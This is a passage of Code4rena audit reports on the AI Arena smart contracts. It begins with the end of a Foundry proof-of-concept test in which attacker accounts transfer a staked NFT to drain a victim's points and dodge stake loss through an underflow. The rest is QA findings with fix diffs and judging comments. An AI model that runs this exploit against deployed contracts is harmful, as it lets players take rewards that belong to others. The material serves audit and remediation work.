    address attacker = vm.addr(3);
    address attacker2 = vm.addr(4);
    _mintFromMergingPool(attacker);
    _mintFromMergingPool(attacker2);
    uint8 tokenId_0 = 0;
    uint8 tokenId_1 = 1;
    _fundUserWith4kNeuronByTreasury(attacker);
    _fundUserWith4kNeuronByTreasury(attacker2);

    // attacker win battle(get point)
    vm.prank(attacker);
    _rankedBattleContract.stakeNRN(3_000 * 10 ** 18, tokenId_0);
    assertEq(_rankedBattleContract.amountStaked(tokenId_0), 3_000 * 10 ** 18);

    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_0, 50, 0, 1500, true); // win game (get point)
    
    uint256 beforePoint = _rankedBattleContract.accumulatedPointsPerAddress(attacker, 0);

    // attacker2 staked
    vm.prank(attacker2);
    _rankedBattleContract.stakeNRN(1, tokenId_1);
    assertEq(_rankedBattleContract.amountStaked(tokenId_1), 1);

    // attacker2 win game, get points
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_1, 50, 0, 1500, true); // win game (attacker2 get point)
    

    // transfer token with point
    vm.prank(attacker2);
    _fighterFarmContract.safeTransferFrom(attacker2, attacker, tokenId_1, ""); // can transfer staked NFT with safeTransferFrom(address,address,uint256,bytes)

    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_1, 50, 2, 1500, true); // lose game with tokenId_1
    
    // The victim loses points
    uint256 afterPoint = _rankedBattleContract.accumulatedPointsPerAddress(attacker, 0);
    assertLt(afterPoint, beforePoint);

    assertEq(_rankedBattleContract.accumulatedPointsPerFighter(tokenId_1, 0), 0); // token 1 point 0

    // now you don't lose staking even if you lose with token 0
    vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11)); // expect arithmeticError (underflow)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_0, 50, 2, 1500, true); // lose game with token 0

}

Tools Used

Manual Review

Prevent NFTs with accumulatedPointsPerFighter left for this round from moving.

Assessed type

Other

#0 - c4-pre-sort

2024-02-25T16:18:39Z

raymondfam marked the issue as sufficient quality report

#1 - c4-pre-sort

2024-02-25T16:18:51Z

raymondfam marked the issue as duplicate of #1641

#2 - c4-judge

2024-03-12T04:01:25Z

HickupHH3 changed the severity to 3 (High Risk)

#3 - c4-judge

2024-03-12T04:03:31Z

HickupHH3 changed the severity to 2 (Med Risk)

#4 - c4-judge

2024-03-13T10:46:49Z

HickupHH3 marked the issue as partial-50

Duplicate initialization of attributeProbabilities when initializing AiArenaHelper

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/AiArenaHelper.sol#L45-L49

Impact

Unnecessary duplicate code exists. More gas is used during deployment.

Proof of Concept

attributeProbabilities is initialized by addAttributeProbabilities, but at below, it does same initialization again.

constructor(uint8[][] memory probabilities) {
    _ownerAddress = msg.sender;

    // Initialize the probabilities for each attribute
@>  addAttributeProbabilities(0, probabilities);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
@>      attributeProbabilities[0][attributes[i]] = probabilities[i];
        attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
    }
}

function addAttributeProbabilities(uint256 generation, uint8[][] memory probabilities) public {
    require(msg.sender == _ownerAddress);
    require(probabilities.length == 6, "Invalid number of attribute arrays");

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
@>      attributeProbabilities[generation][attributes[i]] = probabilities[i];
    }
}

Tools Used

Manual Review

constructor(uint8[][] memory probabilities) {
    _ownerAddress = msg.sender;

    // Initialize the probabilities for each attribute
    addAttributeProbabilities(0, probabilities);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
-       attributeProbabilities[0][attributes[i]] = probabilities[i];
        attributeToDnaDivisor[attributes[i]] = defaultAttributeDivisor[i];
    }
}

addAttributeDivisor: Need to make sure it's not 0

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/AiArenaHelper.sol#L74

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/AiArenaHelper.sol#L107

Impact

If admin accidentally set it to 0, NFT minting and rerolls will not work.

Proof of Concept

attributeToDnaDivisor must not be set to 0 because it is used for division, so the addAttributeDivisor function that sets this value needs to check that the new attributeDivisors are non-zero.

Tools Used

Manual Review

function addAttributeDivisor(uint8[] memory attributeDivisors) external {
    require(msg.sender == _ownerAddress);
    require(attributeDivisors.length == attributes.length);

    uint256 attributesLength = attributes.length;
    for (uint8 i = 0; i < attributesLength; i++) {
+       require(attributeDivisors[i] > 0);
        attributeToDnaDivisor[attributes[i]] = attributeDivisors[i];
    }
}

tokenURI: should revert when tokenId is not exist

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L402-L404

Impact

Querying a tokenURI for a tokenId that doesn't exist will not revert.

Proof of Concept

In the FighterFarm.tokenURI function, it does not revert even if the tokenId has not yet been minted. The ERC721 specification recommends to revert if the tokenId is not exist.

/// @title ERC-721 Non-Fungible Token Standard, optional metadata extension
/// @dev See https://eips.ethereum.org/EIPS/eip-721
///  Note: the ERC-165 identifier for this interface is 0x5b5e139f.
interface ERC721Metadata /* is ERC721 */ {
    /// @notice A descriptive name for a collection of NFTs in this contract
    function name() external view returns (string _name);

    /// @notice An abbreviated name for NFTs in this contract
    function symbol() external view returns (string _symbol);

    /// @notice A distinct Uniform Resource Identifier (URI) for a given asset.
@>  /// @dev Throws if `_tokenId` is not a valid NFT. URIs are defined in RFC
    ///  3986. The URI may point to a JSON file that conforms to the "ERC721
    ///  Metadata JSON Schema".
    function tokenURI(uint256 _tokenId) external view returns (string);
}

Tools Used

Manual Review

function tokenURI(uint256 tokenId) public view override(ERC721) returns (string memory) {
+   require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
    return _tokenURIs[tokenId];
}

viewFighterInfo, getAllFighterInfo: generation type mismatch

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterOps.sol#L92

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterOps.sol#L43

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L433-L436

Impact

generation is implicitly type-cast.

Proof of Concept

The FighterOps.viewFighterInfo function returns generation as a uint16 type. However, generation is a uint8. Therefore, implicit type casting occurs.

struct Fighter {
    uint256 weight;
    uint256 element;
    FighterPhysicalAttributes physicalAttributes;
    uint256 id;
    string modelHash;
    string modelType;
@>  uint8 generation;
    uint8 iconsType;
    bool dendroidBool;
}

function viewFighterInfo(
        Fighter storage self, 
        address owner
    ) 
        public 
        view 
        returns (
            address,
            uint256[6] memory,
            uint256,
            uint256,
            string memory,
            string memory,
@>          uint16
        )
    {
        return (
            owner,
            getFighterAttributes(self),
            self.weight,
            self.element,
            self.modelHash,
            self.modelType,
@>          self.generation
        );
    }

Also, FighterFarm.getAllFighterInfo, which uses FighterOps.viewFighterInfo , has the same issue.

function getAllFighterInfo(
    uint256 tokenId
)
    public
    view
    returns (
        address,
        uint256[6] memory,
        uint256,
        uint256,
        string memory,
        string memory,
@>      uint16
    )
{
@>  return FighterOps.viewFighterInfo(fighters[tokenId], ownerOf(tokenId));
}

Tools Used

Manual Review

Modify FighterOps.viewFighterInfo

function viewFighterInfo(
        Fighter storage self, 
        address owner
    ) 
        public 
        view 
        returns (
            address,
            uint256[6] memory,
            uint256,
            uint256,
            string memory,
            string memory,
-           uint16
+           uint8
        )
    {
        return (
            owner,
            getFighterAttributes(self),
            self.weight,
            self.element,
            self.modelHash,
            self.modelType,
            self.generation
        );
    }

And modify FighterFarm.getAllFighterInfo

function getAllFighterInfo(
    uint256 tokenId
)
    public
    view
    returns (
        address,
        uint256[6] memory,
        uint256,
        uint256,
        string memory,
        string memory,
-       uint16
+       uint8
    )
{
    return FighterOps.viewFighterInfo(fighters[tokenId], ownerOf(tokenId));
}

setupAirdrop: If duplicate addresses exist, only the later amount is valid

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L131-L132

Impact

If there are duplicate addresses in recipients, the account will not receive some amount.

Proof of Concept

If there are duplicate addresses in recipients, allowance is overwritten so that only the amounts later in the array are accepted.

function setupAirdrop(address[] calldata recipients, uint256[] calldata amounts) external {
    require(isAdmin[msg.sender]);
    require(recipients.length == amounts.length);
    uint256 recipientsLength = recipients.length;
    for (uint32 i = 0; i < recipientsLength; i++) {
@>      _approve(treasuryAddress, recipients[i], amounts[i]);
    }
}

Tools Used

Manual Review

Check for address duplicates in setupAirdrop, or add the additional amount to the existing allowance.

claimFighters: User can reuse signatures when you deploy a FighterFarm on other chain

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L199-L206

Impact

If you deploy a FighterFarm on a different chain, user can reuse the signature.

Proof of Concept

In claimFighters, the signature does not include the chainId, so if you deploy a FighterFarm on a different chain, user can reuse the signature.

function claimFighters(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
@>  bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender, 
        numToMint[0], 
        numToMint[1],
        nftsClaimed[msg.sender][0],
        nftsClaimed[msg.sender][1]
    )));
@>  require(Verification.verify(msgHash, signature, _delegatedAddress));
    ...
}

Tools Used

Manual Review

Use ERC712 to prevent signature reuse on other chains.

burnFrom: Reduces the allowance even when the allowance is max

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L203

Impact

The allowance is no longer type(uint256).max, causing the allowance to be updated every time the user moves the token by transferFrom. This consumes additional gas.

Proof of Concept

In general, if the allowance is set to type(uint256).max, do not modify the allowance. This is the code from Openzeppelin. You can see that it only modifies the allowance when currentAllowance != type(uint256).max.

function transferFrom(
    address from,
    address to,
    uint256 amount
) public virtual override returns (bool) {
    address spender = _msgSender();
@>  _spendAllowance(from, spender, amount);
    _transfer(from, to, amount);
    return true;
}

function _spendAllowance(
    address owner,
    address spender,
    uint256 amount
) internal virtual {
    uint256 currentAllowance = allowance(owner, spender);
@>  if (currentAllowance != type(uint256).max) {
        require(currentAllowance >= amount, "ERC20: insufficient allowance");
        unchecked {
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

However, the burnFrom function modifies the allowance without checking type(uint256).max. Because of this, the allowance is no longer type(uint256).max, and the user has to update the allowance every time the token is moved by transferFrom. This consumes additional gas.

function burnFrom(address account, uint256 amount) public virtual {
    require(
@>      allowance(account, msg.sender) >= amount, 
        "ERC20: burn amount exceeds allowance"
    );
    uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
    _burn(account, amount);
@>  _approve(account, msg.sender, decreasedAllowance);
}

Tools Used

Manual Review

function burnFrom(address account, uint256 amount) public virtual {
    require(
        allowance(account, msg.sender) >= amount, 
        "ERC20: burn amount exceeds allowance"
    );
    uint256 decreasedAllowance = allowance(account, msg.sender) - amount;
    _burn(account, amount);
-   _approve(account, msg.sender, decreasedAllowance);
+   _spendAllowance(account, msg.sender, amount);
}

mint: Using unnecessary parameters

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/GameItems.sol#L173

Impact

Using unnecessary parameters.

Proof of Concept

You don't need to include the bytes("random") parameter when calling _mint. It's just use more gas and no purpose.

function mint(uint256 tokenId, uint256 quantity) external {
        ...
        if (success) {
            ...
@>          _mint(msg.sender, tokenId, quantity, bytes("random"));
            emit BoughtItem(msg.sender, tokenId, quantity);
        }
    }

Tools Used

Manual Review

function mint(uint256 tokenId, uint256 quantity) external {
        ...
        if (success) {
            ...
-           _mint(msg.sender, tokenId, quantity, bytes("random"));
+           _mint(msg.sender, tokenId, quantity, "");
            emit BoughtItem(msg.sender, tokenId, quantity);
        }
    }

Emit ERC4906 event when changing tokenURI

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L389

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L403

Impact

Changed NFT attributes are not automatically updated on secondary markets.

Proof of Concept

When minting or rerolling an NFT and its attributes have changed, you can request to update the metadata of the secondary market, such as OpenSea, by generating an event using ERC4906.

https://docs.opensea.io/docs/metadata-standards#metadata-updates

Tools Used

Manual Review

Use ERC4906.

Use 2 step owner

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L120

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/AiArenaHelper.sol#L61

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/GameItems.sol#L108

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L89

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L85

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L167

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/VoltageManager.sol#L64

Impact

There is no way to recover when the owner is set incorrectly by mistake.

Proof of Concept

In every contract that uses owner authority, the owner changes immediately upon request at transferOwnership.

function transferOwnership(address newOwnerAddress) external {
    require(msg.sender == _ownerAddress);
    _ownerAddress = newOwnerAddress;
}

There is no way to recover if you mistakenly transfer owner authority to the wrong account. If you use a 2-step owner, you can prevent such mistakes because you have to make a contract call with the new owner account and confirm to transfer the owner authority.

Tools Used

Manual Review

Use Ownable2Step.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.9.5/contracts/access/Ownable2Step.sol

The initialization function should only be called once

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L147

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L155

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L163

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/GameItems.sol#L139

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L201

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L209

Impact

If the owner's private key is leaked, it's possible to change the address of important contracts, which can cause serious problems.

Proof of Concept

Initialization functions can be called multiple times. This means that the owner has too much authority. If the owner's private key is leaked, it's possible to change the address of important contracts, which can cause serious problems.

function instantiateNeuronContract(address neuronAddress) external {
    require(msg.sender == _ownerAddress);
    _neuronInstance = Neuron(neuronAddress);
}

It would be better to prevent variables that do not need to be changed after initialization from being modified by only allowing them to be called once.

Tools Used

Manual Review

Initialize variable once which don’t need to be changed after initialization.

function instantiateNeuronContract(address neuronAddress) external {
    require(msg.sender == _ownerAddress);
+   require(_neuronInstance == address(0));
    _neuronInstance = Neuron(neuronAddress);
}

AccessControl is being used incorrectly

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L95

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L103

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L111

Impact

Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization. Because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address.

Proof of Concept

When using AccessControl, you have to set the DEFAULT_ADMIN_ROLE or each role's admin and use the grantRole function to set roles. Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L194-L203

/**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * May emit a {RoleGranted} event.
     *
@>   * [WARNING]
     * ====
@>   * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
@>   * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     *
@>   * NOTE: This function is deprecated in favor of {_grantRole}.
     */

In addition, because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address when it is changed to a new Minter/Staker/Spender in the future.

Tools Used

Manual Review

Set the DEFAULT_ADMIN_ROLE in the constructor. Don't use _setupRole in the addMinter, addStaker, addSpender functions, use grantRole instead.

globalStakedAmount is not updated when tokens transfered to the StakeAtRisk contract or from the StakeAtRisk contract

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L496

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L462

Impact

globalStakedAmount has an incorrect value.

Proof of Concept

When tokens are moved to the StakeAtRisk contract or from the StakeAtRisk contract due to winning or losing in the game, amountStaked is updated but globalStakedAmount is not updated.

Tools Used

Manual Review

Update globalStakedAmount when tokens transfered to the StakeAtRisk contract or from the StakeAtRisk contract.

There is no NRN deflation logic, so rewards cannot be minted if the NRN token reaches its maximum.

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L156

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L308

Impact

There is no deflation logic for NRN. If the NRN token reaches its maximum, users can no longer claim game rewards.

Proof of Concept

NRN tokens can be minted up to 1 billion. At the time of token deployed, 700 million tokens are minted, so an additional 300 million can be minted.

uint256 public constant MAX_SUPPLY = 10**18 * 10**9;
uint256 public constant INITIAL_TREASURY_MINT = 10**18 * 10**8 * 2;
uint256 public constant INITIAL_CONTRIBUTOR_MINT = 10**18 * 10**8 * 5;

constructor(address ownerAddress, address treasuryAddress_, address contributorAddress)
    ERC20("Neuron", "NRN")
{
    _ownerAddress = ownerAddress;
    treasuryAddress = treasuryAddress_;
    isAdmin[_ownerAddress] = true;
@>  _mint(treasuryAddress, INITIAL_TREASURY_MINT);
@>  _mint(contributorAddress, INITIAL_CONTRIBUTOR_MINT);
}

function mint(address to, uint256 amount) public virtual {
@>  require(totalSupply() + amount < MAX_SUPPLY, "Trying to mint more than the max supply");
    require(hasRole(MINTER_ROLE, msg.sender), "ERC20: must have minter role to mint");
    _mint(to, amount);
}

Rest of tokens are minted as game rewards, and the number of rewards per round can be changed.

function claimNRN() external {
    require(numRoundsClaimed[msg.sender] < roundId, "Already claimed NRNs for this period");
    uint256 claimableNRN = 0;
    uint256 nrnDistribution;
    uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
@>      nrnDistribution = getNrnDistribution(currentRound);
@>      claimableNRN += (
            accumulatedPointsPerAddress[msg.sender][currentRound] * nrnDistribution   
        ) / totalAccumulatedPoints[currentRound];
        numRoundsClaimed[msg.sender] += 1;
    }
    if (claimableNRN > 0) {
        amountClaimed[msg.sender] += claimableNRN;
@>      _neuronInstance.mint(msg.sender, claimableNRN);
        emit Claimed(msg.sender, claimableNRN);
    }
}

function setRankedNrnDistribution(uint256 newDistribution) external {
    require(isAdmin[msg.sender]);
@>  rankedNrnDistribution[roundId] = newDistribution * 10**18;
}

function getNrnDistribution(uint256 roundId_) public view returns(uint256) {
@>  return rankedNrnDistribution[roundId_];
}

However, the tokenomics do not include NRN burn or deflation measures. If the NRN token reaches its maximum, users can no longer claim game rewards. Also, if the token supply only increases, the value of the token will gradually decrease. In order for the reward to be valuable, NRN tokens must be regularly burnt.

Tools Used

Manual Review

Add a logic to regularly burn NRN tokens through fees etc.

Block claimFighters and redeemMintPasses from claiming more than 10

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L495

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L211

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L249

Impact

If the sum of the user's existing holdings and the number of NFTs being minted exceeds 10, the transaction will revert.

Proof of Concept

The recipient can own a maximum of 10 NFTs. If they already own the maximum number, they cannot mint any more.

uint8 public constant MAX_FIGHTERS_ALLOWED = 10;

function _createNewFighter(
    address to, 
    uint256 dna, 
    string memory modelHash,
    string memory modelType, 
    uint8 fighterType,
    uint8 iconsType,
    uint256[2] memory customAttributes
) 
    private 
{  
@>  require(balanceOf(to) < MAX_FIGHTERS_ALLOWED);
    ...
}

Therefore, claimFighters or redeemMintPass can only mint up to 10 tokens. If the sum of the user's existing holdings and the number of NFTs being minted exceeds 10, the transaction will revert. Therefore, we need to check and display an appropriate error message.

Tools Used

Manual Review

function claimFighters(
    uint8[2] calldata numToMint,
    bytes calldata signature,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
    bytes32 msgHash = bytes32(keccak256(abi.encode(
        msg.sender, 
        numToMint[0], 
        numToMint[1],
        nftsClaimed[msg.sender][0],
        nftsClaimed[msg.sender][1]
    )));
    require(Verification.verify(msgHash, signature, _delegatedAddress));
    uint16 totalToMint = uint16(numToMint[0] + numToMint[1]);
+   require(totalToMint + balanceOf(to) <= MAX_FIGHTERS_ALLOWED, "exceed MAX_FIGHTERS_ALLOWED");
    require(modelHashes.length == totalToMint && modelTypes.length == totalToMint);
    nftsClaimed[msg.sender][0] += numToMint[0];
    nftsClaimed[msg.sender][1] += numToMint[1];
    for (uint16 i = 0; i < totalToMint; i++) {
        _createNewFighter(
            msg.sender, 
            uint256(keccak256(abi.encode(msg.sender, fighters.length))),
            modelHashes[i], 
            modelTypes[i],
            i < numToMint[0] ? 0 : 1,
            0,
            [uint256(100), uint256(100)]
        );
    }
}

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
    uint8[] calldata fighterTypes,
    uint8[] calldata iconsTypes,
    string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length && 
        mintPassDnas.length == fighterTypes.length && 
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
+   require(mintpassIdsToBurn.length + balanceOf(msg.sender) <= MAX_FIGHTERS_ALLOWED, "exceed MAX_FIGHTERS_ALLOWED");
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender, 
            uint256(keccak256(abi.encode(mintPassDnas[i]))), 
            modelHashes[i], 
            modelTypes[i],
            fighterTypes[i],
            iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

No need to check isSelectionComplete

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L121

Impact

Checks unnecessarily.

Proof of Concept

isSelectionComplete and roundId are set atomically and cannot be changed by other functions, so there is no need to check.

function pickWinner(uint256[] calldata winners) external {
    require(isAdmin[msg.sender]);
    require(winners.length == winnersPerPeriod, "Incorrect number of winners");
@>  require(!isSelectionComplete[roundId], "Winners are already selected");
    uint256 winnersLength = winners.length;
    address[] memory currentWinnerAddresses = new address[](winnersLength);
    for (uint256 i = 0; i < winnersLength; i++) {
        currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
        totalPoints -= fighterPoints[winners[i]];
        fighterPoints[winners[i]] = 0;
    }
    winnerAddresses[roundId] = currentWinnerAddresses;
@>  isSelectionComplete[roundId] = true;
@>  roundId += 1;
}

Tools Used

Manual Review

function pickWinner(uint256[] calldata winners) external {
    require(isAdmin[msg.sender]);
    require(winners.length == winnersPerPeriod, "Incorrect number of winners");
-   require(!isSelectionComplete[roundId], "Winners are already selected");
    uint256 winnersLength = winners.length;
    address[] memory currentWinnerAddresses = new address[](winnersLength);
    for (uint256 i = 0; i < winnersLength; i++) {
        currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
        totalPoints -= fighterPoints[winners[i]];
        fighterPoints[winners[i]] = 0;
    }
    winnerAddresses[roundId] = currentWinnerAddresses;
    isSelectionComplete[roundId] = true;
    roundId += 1;
}

pickWinner: Same tokenId can be picked multiple times in the same round

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L118

Impact

The same tokenId can be picked multiple times in the same round.

Proof of Concept

The pickWinner function does not check for duplicates in the winners parameter. Therefore, the same tokenId can be picked multiple times in the same round.

function pickWinner(uint256[] calldata winners) external {
    require(isAdmin[msg.sender]);
@>  require(winners.length == winnersPerPeriod, "Incorrect number of winners");
    require(!isSelectionComplete[roundId], "Winners are already selected");
    uint256 winnersLength = winners.length;
    address[] memory currentWinnerAddresses = new address[](winnersLength);
@>  for (uint256 i = 0; i < winnersLength; i++) {
        currentWinnerAddresses[i] = _fighterFarmInstance.ownerOf(winners[i]);
@>      totalPoints -= fighterPoints[winners[i]];
@>      fighterPoints[winners[i]] = 0;
    }
    winnerAddresses[roundId] = currentWinnerAddresses;
    isSelectionComplete[roundId] = true;
    roundId += 1;
}

Tools Used

Manual Review

Check for duplicates in winners.

Points in the merging pool are not lost when you lose a game, so you can collect points by playing between your own NFTs

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L195

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/RankedBattle.sol#L451

Impact

You can gather points by playing games with your own NFTs. This can increase the probability of winning rewards.

Proof of Concept

Game points are counted per round, with the winner gaining and the loser losing points. Therefore, even if you play a game between your own NFTs, one side will suffer a loss, so you cannot gain significant benefits.

However, points accumulated in the Merging pool do not decrease even if you lose the game and are not reset even after the round is over. Therefore, by taking turns playing games between your own NFTs and giving wins and losses to each other, you can continuously increase the Merging pool points. If you create a Poor AI, you can manipulate the wins and losses.

function _addResultPoints(
    uint8 battleResult, 
    uint256 tokenId, 
    uint256 eloFactor, 
    uint256 mergingPortion,
    address fighterOwner
) 
    private 
{
    uint256 stakeAtRisk;
    uint256 curStakeAtRisk;
    uint256 points = 0;

    /// Check how many NRNs the fighter has at risk
    stakeAtRisk = _stakeAtRiskInstance.getStakeAtRisk(tokenId);

    /// Calculate the staking factor if it has not already been calculated for this round 
    if (_calculatedStakingFactor[tokenId][roundId] == false) {
        stakingFactor[tokenId] = _getStakingFactor(tokenId, stakeAtRisk);
        _calculatedStakingFactor[tokenId][roundId] = true;
    }

    /// Potential amount of NRNs to put at risk or retrieve from the stake-at-risk contract
    curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4;
    if (battleResult == 0) {
        /// If the user won the match

        /// If the user has no NRNs at risk, then they can earn points
        if (stakeAtRisk == 0) {
            points = stakingFactor[tokenId] * eloFactor;
        }

        /// Divert a portion of the points to the merging pool
@>      uint256 mergingPoints = (points * mergingPortion) / 100;
        points -= mergingPoints;
@>      _mergingPoolInstance.addPoints(tokenId, mergingPoints);
        ...
    } else if (battleResult == 2) {
        /// If the user lost the match

        /// Do not allow users to lose more NRNs than they have in their staking pool
        if (curStakeAtRisk > amountStaked[tokenId]) {
            curStakeAtRisk = amountStaked[tokenId];
        }
        if (accumulatedPointsPerFighter[tokenId][roundId] > 0) {
            /// If the fighter has a positive point balance for this round, deduct points 
            points = stakingFactor[tokenId] * eloFactor;
            if (points > accumulatedPointsPerFighter[tokenId][roundId]) {
                points = accumulatedPointsPerFighter[tokenId][roundId];
            }
@>          accumulatedPointsPerFighter[tokenId][roundId] -= points;
@>          accumulatedPointsPerAddress[fighterOwner][roundId] -= points;
@>          totalAccumulatedPoints[roundId] -= points;
            if (points > 0) {
                emit PointsChanged(tokenId, points, false);
            }
        } else {
            /// If the fighter does not have any points for this round, NRNs become at risk of being lost
            bool success = _neuronInstance.transfer(_stakeAtRiskAddress, curStakeAtRisk);
            if (success) {
                _stakeAtRiskInstance.updateAtRiskRecords(curStakeAtRisk, tokenId, fighterOwner);
                amountStaked[tokenId] -= curStakeAtRisk;
            }
        }
    }
}

Tools Used

Manual Review

Decrease the Merging pool points when losing a game.

#0 - raymondfam

2024-02-26T06:04:11Z

Block claimFighters and redeemMintPasses from claiming more than 10: to #216

#1 - c4-pre-sort

2024-02-26T06:04:51Z

raymondfam marked the issue as sufficient quality report

#2 - HickupHH3

2024-03-05T10:38:51Z

#27: L #307: L

#3 - c4-judge

2024-03-11T12:55:29Z

HickupHH3 marked the issue as grade-b

#4 - klau5dev

2024-03-19T14:18:12Z

